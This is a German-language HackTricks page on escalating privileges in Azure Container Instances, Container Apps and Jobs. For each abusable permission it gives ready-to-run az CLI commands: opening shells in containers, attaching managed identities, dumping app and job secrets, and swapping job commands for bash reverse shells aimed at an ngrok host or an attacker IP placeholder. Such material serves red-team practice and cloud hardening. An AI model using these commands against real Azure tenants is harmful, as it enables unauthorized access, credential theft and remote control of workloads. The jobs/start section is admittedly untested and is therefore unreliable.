Az - Azure Container Instances, Apps & Jobs Privesc
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure Container Instances, Apps & Jobs
Für weitere Informationen siehe:
Az - Container Instances, Apps & Jobs
ACI
Microsoft.ContainerInstance/containerGroups/read
, Microsoft.ContainerInstance/containerGroups/containers/exec/action
Diese Berechtigungen erlauben es dem Benutzer, einen Befehl in einem laufenden Container auszuführen. Dies kann verwendet werden, um Berechtigungen im Container zu eskalieren, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
Um eine Shell zu erhalten, ist es so einfach wie:
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
Es ist auch möglich, die Ausgabe des Containers mit folgendem Befehl zu lesen:
az container attach --name <container-name> --resource-group <res-group>
Oder erhalten Sie die Protokolle mit:
az container logs --name <container-name> --resource-group <res-group>
Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Diese Berechtigungen ermöglichen es, eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen:
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
Microsoft.Resources/subscriptions/resourcegroups/read
, Microsoft.ContainerInstance/containerGroups/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Diese Berechtigungen ermöglichen es, eine Containergruppe zu erstellen oder zu aktualisieren, die mit einer benutzerverwalteten Identität verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das --command-line
Argument mit einer Reverse-Shell hinzugefügt wird.
ACA
Microsoft.App/containerApps/read
, Microsoft.App/managedEnvironments/read
, microsoft.app/containerapps/revisions/replicas
, Microsoft.App/containerApps/revisions/read
, Microsoft.App/containerApps/getAuthToken/action
Diese Berechtigungen ermöglichen es dem Benutzer, eine Shell in einem laufenden Anwendungscontainer zu erhalten. Dies kann verwendet werden, um Privilegien im Container zu eskalieren, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind.
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
Microsoft.App/containerApps/listSecrets/action
Diese Berechtigung ermöglicht es, den Klartext der Geheimnisse abzurufen, die innerhalb einer Container-App konfiguriert sind. Beachten Sie, dass Geheimnisse entweder im Klartext oder mit einem Link zu einem Schlüsselbund konfiguriert werden können (in diesem Fall hat die App eine verwaltete Identität zugewiesen, die Zugriff auf die Geheimnisse hat).
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Diese Berechtigungen ermöglichen es, eine benutzerverwaltete Identität an eine Containeranwendung anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. Das Ausführen dieser Aktion über die az cli erfordert ebenfalls die Berechtigung Microsoft.App/containerApps/listSecrets/action
.
Um eine benutzerverwaltete Identität an eine Containergruppe anzuhängen:
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
Microsoft.App/containerApps/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
Diese Berechtigungen ermöglichen es, einen Anwendungscontainer zu erstellen oder zu aktualisieren, der mit einer benutzerverwalteten Identität verbunden ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren.
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
tip
Beachten Sie, dass mit diesen Berechtigungen andere Konfigurationen der App geändert werden können, was es ermöglichen könnte, andere Privilegieneskalations- und Post-Exploitation-Angriffe durchzuführen, abhängig von der Konfiguration der vorhandenen Apps.
Jobs
Microsoft.App/jobs/read
, Microsoft.App/jobs/write
Obwohl Jobs nicht so langlaufend sind wie Container-Apps, können Sie die Möglichkeit ausnutzen, die Befehlskonfiguration des Jobs beim Starten einer Ausführung zu überschreiben. Durch das Erstellen einer benutzerdefinierten Jobvorlage (zum Beispiel, indem Sie den Standardbefehl durch eine Reverse-Shell ersetzen) können Sie Shell-Zugriff innerhalb des Containers erhalten, der den Job ausführt.
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
Microsoft.App/jobs/read
, Microsoft.App/jobs/listSecrets/action
Wenn Sie über diese Berechtigungen verfügen, können Sie alle Geheimnisse (erste Berechtigung) innerhalb eines Job-Containers auflisten und dann die Werte der konfigurierten Geheimnisse lesen.
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/jobs/write
Wenn Sie die Berechtigung haben, die Konfiguration eines Jobs zu ändern, können Sie eine benutzerdefinierte verwaltete Identität anhängen. Diese Identität könnte zusätzliche Berechtigungen haben (zum Beispiel Zugriff auf andere Ressourcen oder Geheimnisse), die missbraucht werden können, um Privilegien innerhalb des Containers zu eskalieren.
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
Microsoft.App/managedEnvironments/read
, Microsoft.App/jobs/write
, Microsoft.App/managedEnvironments/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Wenn Sie einen neuen Container Apps Job erstellen (oder einen bestehenden aktualisieren) und eine verwaltete Identität anhängen können, können Sie den Job so gestalten, dass er eine Nutzlast ausführt, die Privilegien eskaliert. Zum Beispiel könnten Sie einen neuen Job erstellen, der nicht nur eine Reverse-Shell ausführt, sondern auch die Anmeldeinformationen der verwalteten Identität verwendet, um Tokens anzufordern oder auf andere Ressourcen zuzugreifen.
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
tip
Dieser Befehl wird einen Fehler auslösen, wenn Sie nicht die Berechtigung Microsoft.App/jobs/read
haben, obwohl der Job erstellt wird.
microsoft.app/jobs/start/action
, microsoft.app/jobs/read
Es sieht so aus, als ob man mit diesen Berechtigungen einen Job starten sollte. Dies könnte verwendet werden, um einen Job mit einer Reverse-Shell oder einem anderen bösartigen Befehl zu starten, ohne die Konfiguration des Jobs ändern zu müssen.
Ich habe es nicht geschafft, es zum Laufen zu bringen, aber laut den erlaubten Parametern sollte es möglich sein.
Microsoft.ContainerInstance/containerGroups/restart/action
Erlaubt das Neustarten einer bestimmten Containergruppe innerhalb von Azure Container Instances.
az container restart --resource-group <resource-group> --name <container-instances>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.